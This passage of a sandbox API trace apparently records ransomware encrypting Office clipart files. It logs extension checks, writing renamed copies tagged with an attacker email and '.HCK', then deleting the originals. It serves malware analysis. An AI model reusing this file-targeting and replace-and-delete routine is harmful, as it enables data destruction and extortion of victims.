[0172.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.085] lstrlenW (lpString=".docx") returned 5 [0172.085] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0172.085] lstrlenW (lpString=".pdf") returned 4 [0172.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.085] lstrlenW (lpString=".xls") returned 4 [0172.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.085] lstrlenW (lpString=".xlsx") returned 5 [0172.085] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0172.085] lstrlenW (lpString=".ppt") returned 4 [0172.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF") returned 68 [0172.086] lstrlenW (lpString=".zip") returned 4 [0172.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.086] lstrlenW (lpString=".rar") returned 4 [0172.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.086] lstrlenW (lpString=".bz2") returned 4 [0172.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.086] lstrlenW (lpString=".7z") returned 3 [0172.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF") returned 68 [0172.086] lstrlenW (lpString=".dbf") returned 4 [0172.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF") returned 68 [0172.086] lstrlenW (lpString=".1cd") returned 4 [0172.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF") returned 68 [0172.086] lstrlenW (lpString=".jpg") returned 4 [0172.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.086] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.086] lstrlenW (lpString="J0296279.WMF") returned 12 [0172.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296279.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.090] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=67726) returned 1 [0172.090] CloseHandle (hObject=0x38c) returned 1 [0172.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296279.wmf")) returned 0x220 [0172.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296279.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0172.099] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.099] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296279.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.103] GetLastError () returned 0x0 [0172.103] ReadFile (in: hFile=0x3b0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1088e, lpOverlapped=0x0) returned 1 [0172.107] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x10890, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10890, lpOverlapped=0x0) returned 1 [0172.108] ReadFile (in: hFile=0x3b0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.109] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.109] SetEndOfFile (hFile=0x384) returned 1 [0172.114] CloseHandle (hObject=0x384) returned 1 [0172.116] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.116] SetEndOfFile (hFile=0x3b0) returned 1 [0172.118] CloseHandle (hObject=0x3b0) returned 1 [0172.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.118] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296279.wmf")) returned 1 [0172.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF") returned 68 [0172.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF") returned 68 [0172.121] lstrlenW (lpString=".doc") returned 4 [0172.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.121] lstrlenW (lpString=".docx") returned 5 [0172.121] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0172.121] lstrlenW (lpString=".pdf") returned 4 [0172.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.121] lstrlenW (lpString=".xls") returned 4 [0172.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.121] lstrlenW (lpString=".xlsx") returned 5 [0172.121] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0172.121] lstrlenW (lpString=".ppt") returned 4 [0172.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF") returned 68 [0172.121] lstrlenW (lpString=".zip") returned 4 [0172.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.121] lstrlenW (lpString=".rar") returned 4 [0172.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.121] lstrlenW (lpString=".bz2") returned 4 [0172.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.121] lstrlenW (lpString=".7z") returned 3 [0172.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF") returned 68 [0172.121] lstrlenW (lpString=".dbf") returned 4 [0172.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF") returned 68 [0172.121] lstrlenW (lpString=".1cd") returned 4 [0172.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF") returned 68 [0172.121] lstrlenW (lpString=".jpg") returned 4 [0172.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF") returned 68 [0172.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF") returned 68 [0172.121] lstrlenW (lpString=".doc") returned 4 [0172.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.121] lstrlenW (lpString=".docx") returned 5 [0172.121] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0172.121] lstrlenW (lpString=".pdf") returned 4 [0172.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.121] lstrlenW (lpString=".xls") returned 4 [0172.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.121] lstrlenW (lpString=".xlsx") returned 5 [0172.121] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0172.122] lstrlenW (lpString=".ppt") returned 4 [0172.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF") returned 68 [0172.122] lstrlenW (lpString=".zip") returned 4 [0172.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.122] lstrlenW (lpString=".rar") returned 4 [0172.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.122] lstrlenW (lpString=".bz2") returned 4 [0172.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.122] lstrlenW (lpString=".7z") returned 3 [0172.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF") returned 68 [0172.122] lstrlenW (lpString=".dbf") returned 4 [0172.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF") returned 68 [0172.122] lstrlenW (lpString=".1cd") returned 4 [0172.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF") returned 68 [0172.122] lstrlenW (lpString=".jpg") returned 4 [0172.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.122] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.122] lstrlenW (lpString="J0297269.WMF") returned 12 [0172.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297269.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.126] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=15652) returned 1 [0172.126] CloseHandle (hObject=0x394) returned 1 [0172.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297269.wmf")) returned 0x220 [0172.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297269.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297269.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.131] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.131] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297269.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.134] GetLastError () returned 0x0 [0172.134] ReadFile (in: hFile=0x394, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3d24, lpOverlapped=0x0) returned 1 [0172.136] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3d30, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3d30, lpOverlapped=0x0) returned 1 [0172.136] ReadFile (in: hFile=0x394, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.137] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.137] SetEndOfFile (hFile=0x368) returned 1 [0172.139] CloseHandle (hObject=0x368) returned 1 [0172.141] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.141] SetEndOfFile (hFile=0x394) returned 1 [0172.144] CloseHandle (hObject=0x394) returned 1 [0172.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297269.wmf")) returned 1 [0172.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF") returned 68 [0172.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF") returned 68 [0172.148] lstrlenW (lpString=".doc") returned 4 [0172.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.148] lstrlenW (lpString=".docx") returned 5 [0172.148] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0172.148] lstrlenW (lpString=".pdf") returned 4 [0172.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.148] lstrlenW (lpString=".xls") returned 4 [0172.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.148] lstrlenW (lpString=".xlsx") returned 5 [0172.148] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0172.148] lstrlenW (lpString=".ppt") returned 4 [0172.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF") returned 68 [0172.149] lstrlenW (lpString=".zip") returned 4 [0172.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.149] lstrlenW (lpString=".rar") returned 4 [0172.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.149] lstrlenW (lpString=".bz2") returned 4 [0172.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.149] lstrlenW (lpString=".7z") returned 3 [0172.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF") returned 68 [0172.149] lstrlenW (lpString=".dbf") returned 4 [0172.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF") returned 68 [0172.149] lstrlenW (lpString=".1cd") returned 4 [0172.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF") returned 68 [0172.149] lstrlenW (lpString=".jpg") returned 4 [0172.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF") returned 68 [0172.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF") returned 68 [0172.149] lstrlenW (lpString=".doc") returned 4 [0172.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.149] lstrlenW (lpString=".docx") returned 5 [0172.149] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0172.149] lstrlenW (lpString=".pdf") returned 4 [0172.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.149] lstrlenW (lpString=".xls") returned 4 [0172.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.149] lstrlenW (lpString=".xlsx") returned 5 [0172.149] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0172.149] lstrlenW (lpString=".ppt") returned 4 [0172.149] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF") returned 68 [0172.149] lstrlenW (lpString=".zip") returned 4 [0172.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.149] lstrlenW (lpString=".rar") returned 4 [0172.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.149] lstrlenW (lpString=".bz2") returned 4 [0172.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.149] lstrlenW (lpString=".7z") returned 3 [0172.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF") returned 68 [0172.149] lstrlenW (lpString=".dbf") returned 4 [0172.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF") returned 68 [0172.149] lstrlenW (lpString=".1cd") returned 4 [0172.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF") returned 68 [0172.149] lstrlenW (lpString=".jpg") returned 4 [0172.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.150] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.150] lstrlenW (lpString="J0297759.WMF") returned 12 [0172.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297759.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0172.156] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=18784) returned 1 [0172.156] CloseHandle (hObject=0x2fc) returned 1 [0172.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297759.wmf")) returned 0x220 [0172.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297759.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0172.163] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.163] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297759.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.166] GetLastError () returned 0x0 [0172.166] ReadFile (in: hFile=0x3b0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4960, lpOverlapped=0x0) returned 1 [0172.168] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4970, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4970, lpOverlapped=0x0) returned 1 [0172.168] ReadFile (in: hFile=0x3b0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.169] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.169] SetEndOfFile (hFile=0x368) returned 1 [0172.169] CloseHandle (hObject=0x368) returned 1 [0172.170] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.170] SetEndOfFile (hFile=0x3b0) returned 1 [0172.174] CloseHandle (hObject=0x3b0) returned 1 [0172.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297759.wmf")) returned 1 [0172.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF") returned 68 [0172.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF") returned 68 [0172.176] lstrlenW (lpString=".doc") returned 4 [0172.176] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.176] lstrlenW (lpString=".docx") returned 5 [0172.176] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0172.176] lstrlenW (lpString=".pdf") returned 4 [0172.176] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.176] lstrlenW (lpString=".xls") returned 4 [0172.176] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.176] lstrlenW (lpString=".xlsx") returned 5 [0172.176] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0172.176] lstrlenW (lpString=".ppt") returned 4 [0172.176] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF") returned 68 [0172.176] lstrlenW (lpString=".zip") returned 4 [0172.176] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.177] lstrlenW (lpString=".rar") returned 4 [0172.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.177] lstrlenW (lpString=".bz2") returned 4 [0172.177] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.177] lstrlenW (lpString=".7z") returned 3 [0172.177] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF") returned 68 [0172.177] lstrlenW (lpString=".dbf") returned 4 [0172.177] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF") returned 68 [0172.177] lstrlenW (lpString=".1cd") returned 4 [0172.177] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF") returned 68 [0172.177] lstrlenW (lpString=".jpg") returned 4 [0172.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF") returned 68 [0172.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF") returned 68 [0172.177] lstrlenW (lpString=".doc") returned 4 [0172.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.177] lstrlenW (lpString=".docx") returned 5 [0172.177] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0172.177] lstrlenW (lpString=".pdf") returned 4 [0172.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.177] lstrlenW (lpString=".xls") returned 4 [0172.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.177] lstrlenW 